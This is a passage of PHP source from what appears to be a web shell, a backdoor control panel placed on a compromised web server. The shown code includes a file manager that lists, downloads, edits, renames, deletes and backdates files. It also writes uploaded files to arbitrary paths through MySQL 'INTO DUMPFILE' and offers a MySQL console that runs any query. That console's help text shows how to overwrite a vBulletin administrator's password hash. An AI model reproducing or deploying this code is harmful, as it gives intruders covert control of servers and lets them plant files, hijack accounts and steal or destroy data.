H:i:s\',filemtime($filepath));\n\t\t\t\t$filedb[\'filechmod\']=getChmod($filepath);\n\t\t\t\t$filedb[\'fileperm\']=getPerms($filepath);\n\t\t\t\t$filedb[\'fileowner\']=getUser($filepath);\n\t\t\t\t$filedb[\'dirlink\']=$nowpath;\n\t\t\t\t$filedb[\'server_link\']=$filepath;\n\t\t\t\t$filedb[\'client_link\']=ue($filepath);\n\t\t\t\t$filedata[]=$filedb;\n\t\t\t}\n\t\t}// while\n\t\tunset($dirdb);\n\t\tunset($filedb);\n\t\t@closedir($dirs);\n\t}\n\t@sort($dirdata);\n\t@sort($filedata);\n\t$dir_i = \'0\';\n\tforeach($dirdata as $key => $dirdb){\n\t\tif($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {\n\t\t\t$thisbg = bg();\n\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\tp(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');\n\t\t\tp(\'<td><a href="javascript:godir(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'filename\'].\'</a></td>\');\n\t\t\tp(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');\n\t\t\tp(\'<td nowrap>--</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');\n\t\t\tp(\'<td nowrap><a href="javascript:dofile(\\\'deldir\\\',\\\'\'.$dirdb[\'server_link\'].\'\\\',\\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\\\n\\\\nIf non-empty directory, will be delete all the files.\\\')">Del</a> | <a href="javascript:rename(\\\'\'.$dirdb[\'server_link\'].\'\\\');">Rename</a></td>\');\n\t\t\tp(\'</tr>\');\n\t\t\t$dir_i++;\n\t\t} else {\n\t\t\tif($dirdb[\'filename\']==\'..\') {\n\t\t\t\tp(\'<tr class=fout>\');\n\t\t\t\tp(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\\'\'.getUpPath($nowpath).\'\\\');">Parent Directory</a></td>\');\n\t\t\t\tp(\'</tr>\');\n\t\t\t}\n\t\t}\n\t}\n\n\tp(\'<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>\');\n\tp(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'thefile\');\n\tmakehide(\'doing\');\n\tmakehide(\'dir\',$nowpath);\n\t$file_i = \'0\';\n\tforeach($filedata as $key => $filedb){\n\t\tif($filedb[\'filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {\n\t\t\t$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);\n\t\t\t$thisbg = bg();\n\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\tp(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');\n\t\t\tp(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');\n\t\t\tp(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$filedb[\'server_link\'].\'\\\');">\'.$filedb[\'filechmod\'].\'</a> / \');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$filedb[\'server_link\'].\'\\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:dofile(\\\'downfile\\\',\\\'\'.$filedb[\'server_link\'].\'\\\');">Down</a> | \');\n\t\t\tp(\'<a href="javascript:copyfile(\\\'\'.$filedb[\'server_link\'].\'\\\');">Copy</a> | \');\n\t\t\tp(\'<a href="javascript:opfile(\\\'editfile\\\',\\\'\'.$filedb[\'server_link\'].\'\\\',\\\'\'.$filedb[\'dirlink\'].\'\\\');">Edit</a> | \');\n\t\t\tp(\'<a href="javascript:rename(\\\'\'.$filedb[\'server_link\'].\'\\\');">Rename</a> | \');\n\t\t\tp(\'<a href="javascript:opfile(\\\'newtime\\\',\\\'\'.$filedb[\'server_link\'].\'\\\',\\\'\'.$filedb[\'dirlink\'].\'\\\');">Time</a>\');\n\t\t\tp(\'</td></tr>\');\n\t\t\t$file_i++;\n\t\t}\n\t}\n\tp(\'<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\\'downrar\\\');">Packing download selected</a> - <a href="javascript:dofile(\\\'delfiles\\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');\n\tp(\'</form></table>\');\n}// end dir\n\nelseif ($action == \'sqlfile\') {\n\tif($doing=="mysqlupload"){\n\t\t$file = $_FILES[\'uploadfile\'];\n\t\t$filename = $file[\'tmp_name\'];\n\t\tif (file_exists($savepath)) {\n\t\t\tm(\'The goal file has already existed\');\n\t\t} else {\n\t\t\tif(!$filename) {\n\t\t\t\tm(\'Please choose a file\');\n\t\t\t} else {\n\t\t\t\t$fp=@fopen($filename,\'r\');\n\t\t\t\t$contents=@fread($fp, filesize($filename));\n\t\t\t\t@fclose($fp);\n\t\t\t\t$contents = bin2hex($contents);\n\t\t\t\tif(!$upname) $upname = $file[\'name\'];\n\t\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\t\t$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");\n\t\t\t\tm($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());\n\t\t\t}\n\t\t}\n\t}\n?>\n<script type="text/javascript">\nfunction mysqlfile(doing){\n\tif(!doing) return;\n\t$(\'doing\').value=doing;\n\t$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;\n\t$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;\n\t$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;\n\t$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;\n\t$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;\n\t$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;\n\t$(\'mysqlfile\').submit();\n}\n</script>\n<?php\n\t!$dbhost && $dbhost = \'localhost\';\n\t!$dbuser && $dbuser = \'root\';\n\t!$dbport && $dbport = \'3306\';\n\t$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');\n\tformhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));\n\tmakehide(\'action\',\'sqlfile\');\n\tp(\'<p>\');\n\tp(\'DBHost:\');\n\tmakeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));\n\tp(\':\');\n\tmakeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));\n\tp(\'DBUser:\');\n\tmakeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));\n\tp(\'DBPass:\');\n\tmakeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));\n\tp(\'DBName:\');\n\tmakeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));\n\tp(\'DBCharset:\');\n\tmakeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));\n\tp(\'</p>\');\n\tformfoot();\n\tp(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');\n\tp(\'<h2>Upload file</h2>\');\n\tp(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');\n\tp(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\\'mysqlupload\\\');">Upload</a></p>\');\n\tp(\'<h2>Download file</h2>\');\n\tp(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\\'mysqldown\\\');">Download</a></p>\');\n\tmakehide(\'dbhost\');\n\tmakehide(\'dbport\');\n\tmakehide(\'dbuser\');\n\tmakehide(\'dbpass\');\n\tmakehide(\'dbname\');\n\tmakehide(\'charset\');\n\tmakehide(\'doing\');\n\tmakehide(\'action\',\'sqlfile\');\n\tp(\'</form>\');\n}\n\nelseif ($action == \'sqladmin\') {\n\t!$dbhost && $dbhost = \'localhost\';\n\t!$dbuser && $dbuser = \'root\';\n\t!$dbport && $dbport = \'3306\';\n\t$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';\n\tif(isset($dbhost)){\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbhost\\" name=\\"dbhost\\" value=\\"$dbhost\\" />\\n";\n\t}\n\tif(isset($dbuser)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbuser\\" name=\\"dbuser\\" value=\\"$dbuser\\" />\\n";\n\t}\n\tif(isset($dbpass)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbpass\\" name=\\"dbpass\\" value=\\"$dbpass\\" />\\n";\n\t}\n\tif(isset($dbport)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbport\\" name=\\"dbport\\" value=\\"$dbport\\" />\\n";\n\t}\n\tif(isset($dbname)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbname\\" name=\\"dbname\\" value=\\"$dbname\\" />\\n";\n\t}\n\tif(isset($charset)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"charset\\" name=\\"charset\\" value=\\"$charset\\" />\\n";\n\t}\n\n\tif ($doing == \'backupmysql\' && $saveasfile) {\n\t\tif (!$table) {\n\t\t\tm(\'Please choose the table\');\n\t\t} else {\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\t$table = array_flip($table);\n\t\t\t$fp = @fopen($path,\'w\');\n\t\t\tif ($fp) {\n\t\t\t\t$result = q(\'SHOW tables\');\n\t\t\t\tif (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');\n\t\t\t\t$mysqldata = \'\';\n\t\t\t\twhile ($currow = mysql_fetch_array($result)) {\n\t\t\t\t\tif (isset($table[$currow[0]])) {\n\t\t\t\t\t\tsqldumptable($currow[0], $fp);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfclose($fp);\n\t\t\t\t$fileurl = str_replace(SA_ROOT,\'\',$path);\n\t\t\t\tm(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');\n\t\t\t\tmysql_close();\n\t\t\t} else {\n\t\t\t\tm(\'Backup failed\');\n\t\t\t}\n\t\t}\n\t}\n\tif ($insert && $insertsql) {\n\t\t$keystr = $valstr = $tmp = \'\';\n\t\tforeach($insertsql as $key => $val) {\n\t\t\tif ($val) {\n\t\t\t\t$keystr .= $tmp.$key;\n\t\t\t\t$valstr .= $tmp."\'".addslashes($val)."\'";\n\t\t\t\t$tmp = \',\';\n\t\t\t}\n\t\t}\n\t\tif ($keystr && $valstr) {\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\tm(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());\n\t\t}\n\t}\n\tif ($update && $insertsql && $base64) {\n\t\t$valstr = $tmp = \'\';\n\t\tforeach($insertsql as $key => $val) {\n\t\t\t$valstr .= $tmp.$key."=\'".addslashes($val)."\'";\n\t\t\t$tmp = \',\';\n\t\t}\n\t\tif ($valstr) {\n\t\t\t$where = base64_decode($base64);\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\tm(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());\n\t\t}\n\t}\n\tif ($doing == \'del\' && $base64) {\n\t\t$where = base64_decode($base64);\n\t\t$delete_sql = "DELETE FROM $tablename WHERE $where";\n\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\tm(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());\n\t}\n\n\tif ($tablename && $doing == \'drop\') {\n\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\tif (q("DROP TABLE $tablename")) {\n\t\t\tm(\'Drop table of success\');\n\t\t\t$tablename = \'\';\n\t\t} else {\n\t\t\tm(mysql_error());\n\t\t}\n\t}\n\n\t$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');\n\n\tformhead(array(\'title\'=>\'MYSQL Manager\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp(\'<p>\');\n\tp(\'DBHost:\');\n\tmakeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));\n\tp(\':\');\n\tmakeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));\n\tp(\'DBUser:\');\n\tmakeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));\n\tp(\'DBPass:\');\n\tmakeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));\n\tp(\'DBCharset:\');\n\tmakeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));\n\tmakeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));\n\tp(\'</p>\');\n\tformfoot();\n?>\n<script type="text/javascript">\nfunction editrecord(action, base64, tablename){\n\tif (action == \'del\') {\n\t\tif (!confirm(\'Is or isn\\\'t deletion record?\')) return;\n\t}\n\t$(\'recordlist\').doing.value=action;\n\t$(\'recordlist\').base64.value=base64;\n\t$(\'recordlist\').tablename.value=tablename;\n\t$(\'recordlist\').submit();\n}\nfunction moddbname(dbname) {\n\tif(!dbname) return;\n\t$(\'setdbname\').dbname.value=dbname;\n\t$(\'setdbname\').submit();\n}\nfunction settable(tablename,doing,page) {\n\tif(!tablename) return;\n\tif (doing) {\n\t\t$(\'settable\').doing.value=doing;\n\t}\n\tif (page) {\n\t\t$(\'settable\').page.value=page;\n\t}\n\t$(\'settable\').tablename.value=tablename;\n\t$(\'settable\').submit();\n}\n</script>\n<?php\n\t// SQL\n\tformhead(array(\'name\'=>\'recordlist\'));\n\tmakehide(\'doing\');\n\tmakehide(\'action\',\'sqladmin\');\n\tmakehide(\'base64\');\n\tmakehide(\'tablename\');\n\tp($dbform);\n\tformfoot();\n\n\t// Data\n\tformhead(array(\'name\'=>\'setdbname\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp($dbform);\n\tif (!$dbname) {\n\t\tmakehide(\'dbname\');\n\t}\n\tformfoot();\n\n\n\tformhead(array(\'name\'=>\'settable\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp($dbform);\n\tmakehide(\'tablename\');\n\tmakehide(\'page\',$page);\n\tmakehide(\'doing\');\n\tformfoot();\n\n\t$cachetables = array();\n\t$pagenum = 30;\n\t$page = intval($page);\n\tif($page) {\n\t\t$start_limit = ($page - 1) * $pagenum;\n\t} else {\n\t\t$start_limit = 0;\n\t\t$page = 1;\n\t}\n\tif (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {\n\t\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t\t// get mysql server\n\t\t$mysqlver = mysql_get_server_info();\n\t\tp(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');\n\t\t$highver = $mysqlver > \'4.1\' ? 1 : 0;\n\n\t\t// Show database\n\t\t$query = q("SHOW DATABASES");\n\t\t$dbs = array();\n\t\t$dbs[] = \'-- Select a database --\';\n\t\twhile($db = mysql_fetch_array($query)) {\n\t\t\t$dbs[$db[\'Database\']] = $db[\'Database\'];\n\t\t}\n\t\tmakeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));\n\t\t$tabledb = array();\n\t\tif ($dbname) {\n\t\t\tp(\'<p>\');\n\t\t\tp(\'Current dababase: <a href="javascript:moddbname(\\\'\'.$dbname.\'\\\');">\'.$dbname.\'</a>\');\n\t\t\tif ($tablename) {\n\t\t\t\tp(\' | Current Table: <a href="javascript:settable(\\\'\'.$tablename.\'\\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'insert\\\');">Insert</a> | <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'structure\\\');">Structure</a> | <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'drop\\\');">Drop</a> ]\');\n\t\t\t}\n\t\t\tp(\'</p>\');\n\t\t\tmysql_select_db($dbname);\n\n\t\t\t$getnumsql = \'\';\n\t\t\t$runquery = 0;\n\t\t\tif ($sql_query) {\n\t\t\t\t$runquery = 1;\n\t\t\t}\n\t\t\t$allowedit = 0;\n\t\t\tif ($tablename && !$sql_query) {\n\t\t\t\t$sql_query = "SELECT * FROM $tablename";\n\t\t\t\t$getnumsql = $sql_query;\n\t\t\t\t$sql_query = $sql_query." LIMIT $start_limit, $pagenum";\n\t\t\t\t$allowedit = 1;\n\t\t\t}\n\t\t\tp(\'<form action="\'.$self.\'" method="POST">\');\n\t\t\tp(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>\'.$dbname.\'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \\\'69e53e5ab9536e55d31ff533aefc4fbe\\\', salt = \\\'p5T\\\' WHERE `userid` = \\\'1\\\' </font>\n\t\t\t</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');\n\t\t\tmakehide(\'tablename\', $tablename);\n\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\tp($dbform);\n\t\t\tp(\'</form>\');\n\t\t\tif ($tablename || ($runquery && $sql_query)) {\n\t\t\t\tif ($doing == \'structure\') {\n\t\t\t\t\t$result = q("SHOW COLUMNS FROM $tablename");\n\t\t\t\t\t$rowdb = array();\n\t\t\t\t\twhile($row = mysql_fetch_array($result)) {\n\t\t\t\t\t\t$rowdb[] = $row;\n\t\t\t\t\t}\n\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\t\tp(\'<td>Field</td>\');\n\t\t\t\t\tp(\'<td>Type</td>\');\n\t\t\t\t\tp(\'<td>Null</td>\');\n\t\t\t\t\tp(\'<td>Key</td>\');\n\t\t\t\t\tp(\'<td>Default</td>\');\n\t\t\t\t\tp(\'<td>Extra</td>\');\n\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\tforeach ($rowdb as $row) {\n\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Field\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Type\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Null\'].\' </td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Key\'].\' </td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Default\'].\' </td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Extra\'].\' </td>\');\n\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t}\n\t\t\t\t\ttbfoot();\n\t\t\t\t} elseif ($doing == \'insert\' || $doing == \'edit\') {\n\t\t\t\t\t$result = q(\'SHOW COLUMNS FROM \'.$tablename);\n\t\t\t\t\twhile ($row = mysql_fetch_array($result)) {\n\t\t\t\t\t\t$rowdb[] = $row;\n\t\t\t\t\t}\n\t\t\t\t\t$rs = array();\n\t\t\t\t\tif ($doing == \'insert\') {\n\t\t\t\t\t\tp(\'<h2>Insert new line in \'.$tablename.\' table »</h2>\');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tp(\'<h2>Update record in \'.$tablename.\' table »</h2>\');\n\t\t\t\t\t\t$where = base64_decode($base64);\n\t\t\t\t\t\t$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");\n\t\t\t\t\t\t$rs = mysql_fetch_array($result);\n\t\t\t\t\t}\n\t\t\t\t\tp(\'<form method="post" action="\'.$self.\'">\');\n\t\t\t\t\tp($dbform);\n\t\t\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\t\t\tmakehide(\'tablename\',$tablename);\n\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\tforeach ($rowdb as $row) {\n\t\t\t\t\t\tif ($rs[$row[\'Field\']]) {\n\t\t\t\t\t\t\t$value = htmlspecialchars($rs[$row[\'Field\']]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$value = \'\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\tp(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');\n\t\t\t\t\t}\n\t\t\t\t\tif ($doing == \'insert\') {\n\t\t\t\t\t\tp(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tp(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');\n\t\t\t\t\t\tmakehide(\'base64\', $base64);\n\t\t\t\t\t}\n\t\t\t\t\tp(\'</table></form>\');\n\t\t\t\t} else {\n\t\t\t\t\t$querys = @explode(\';\',$sql_query);\n\t\t\t\t\tforeach($querys as $num=>$query) {\n\t\t\t\t\t\tif ($query) {\n\t\t\t\t\t\t\tp("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");\n\t\t\t\t\t\t\tswitch(qy($query))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase 0:\n\t\t\t\t\t\t\t\t\tp(\'<h2>Error : \'.mysql_error().\'</h2>\');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\t\tif (strtolower(substr($query,0,13)) == \'select * from\') {\n\t\t\t\t\t\t\t\t\t\t$allowedit = 1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif ($getnumsql) {\n\t\t\t\t\t\t\t\t\t\t$tatol = mysql_num_rows(q($getnumsql));\n\t\t\t\t\t\t\t\t\t\t$multipage = multi($tatol, $pagenum, $page, $tablename);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (!$tablename) {\n\t\t\t\t\t\t\t\t\t\t$sql_line = str_replace(array("\\r", "\\n", "\\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));\n\t\t\t\t\t\t\t\t\t\t$sql_line = preg_replace("/\\/\\*[^(\\*\\/)]*\\*\\//i", " ", $sql_line);\n\t\t\t\t\t\t\t\t\t\tpreg_match_all("/from\\s+`{0,1}([\\w]+)`{0,1}\\s+/i",$sql_line,$matches);\n\t\t\t\t\t\t\t\t\t\t$tablename = $matches[1][0];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$result = q($query);\n\t\t\t\t\t\t\t\t\tp($multipage);\n\t\t\t\t\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\t\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\t\t\t\t\t\tif ($allowedit) p(\'<td>Action</td>\');\n\t\t\t\t\t\t\t\t\t$fieldnum = @mysql_num_fields($result);\n\t\t\t\t\t\t\t\t\tfor($i=0;$i<$fieldnum;$i++){\n\t\t\t\t\t\t\t\t\t\t$name = @mysql_field_name($result, $i);\n\t\t\t\t\t\t\t\t\t\t$type = @mysql_field_type($result, $i);\n\t\t\t\t\t\t\t\t\t\t$len = @mysql_field_len($result, $i);\n\t\t\t\t\t\t\t\t\t\tp("<td nowrap>$name<br><span>$type($len)</span></td>");\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t\t\t\t\twhile($mn = @mysql_fetch_assoc($result)){\n\t\t\t\t\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\t\t\t\t\t$where = $tmp = $b1 = \'\';\n\t\t\t\t\t\t\t\t\t\tforeach($mn as $key=>$inside){\n\t\t\t\t\t\t\t\t\t\t\tif ($inside) {\n\t\t\t\t\t\t\t\t\t\t\t\t$where .= $tmp.$key."=\'".addslashes($inside)."\'";\n\t\t\t\t\t\t\t\t\t\t\t\t$tmp = \' AND \';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$b1 .= \'<td nowrap>\'.html_clean($inside).\' </td>\';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$where = base64_encode($where);\n\t\t\t\t\t\t\t\t\t\tif ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\\'edit\\\', \\\'\'.$where.\'\\\', \\\'\'.$tablename.\'\\\');">Edit</a> | <a href="javascript:editrecord(\\\'del\\\', \\\'\'.$where.\'\\\', \\\'\'.$tablename.\'\\\');">Del</a></td>\');\n\t\t\t\t\t\t\t\t\t\tp($b1);\n\t\t\t\t\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t\t\t\t\t\tunset($b1);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\ttbfoot();\n\t\t\t\t\t\t\t\t\tp($multipage);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\t\t$ar = mysql_affected_rows();\n\t\t\t\t\t\t\t\t\tp(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$query = q("SHOW TABLE STATUS");\n\t\t\t\t$table_num = $table_rows = $data_size = 0;\n\t\t\t\t$tabledb = array();\n\t\t\t\twhile($table = mysql_fetch_array($query)) {\n\t\t\t\t\t$data_size = $data_size + $table[\'Data_length\'];\n\t\t\t\t\t$table_rows = $table_rows + $table[\'Rows\'];\n\t\t\t\t\t$table[\'Data_length\'] = sizecount($table[\'Data_length\']);\n\t\t\t\t\t$table_num++;\n\t\t\t\t\t$tabledb[] = $table;\n\t\t\t\t}\n\t\t\t\t$data_size = sizecount($data_size);\n\t\t\t\tunset($table);\n\t\t\t\tp(\'<table border="0" cellpadding="0" cellspacing="0">\');\n\t\t\t\tp(\'<form action="\'.$self.\'" method="POST">\');\n\t\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\t\tp($dbform);\n\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\tp(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');\n\t\t\t\tp(\'<td>Name</td>\');\n\t\t\t\tp(\'<td>Rows</td>\');\n\t\t\t\tp(\'<td>Data_length</td>\');\n\t\t\t\tp(\'<td>Create_time</td>\');\n\t\t\t\tp(\'<td>Update_time</td>\');\n\t\t\t\tif ($highver) {\n\t\t\t\t\tp(\'<td>Engine</td>\');\n\t\t\t\t\tp(\'<td>Collation</td>\');\n\t\t\t\t}\n\t\t\t\tp(\'</tr>\');\n\t\t\t\tforeach ($tabledb as $key => $table) {\n\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" 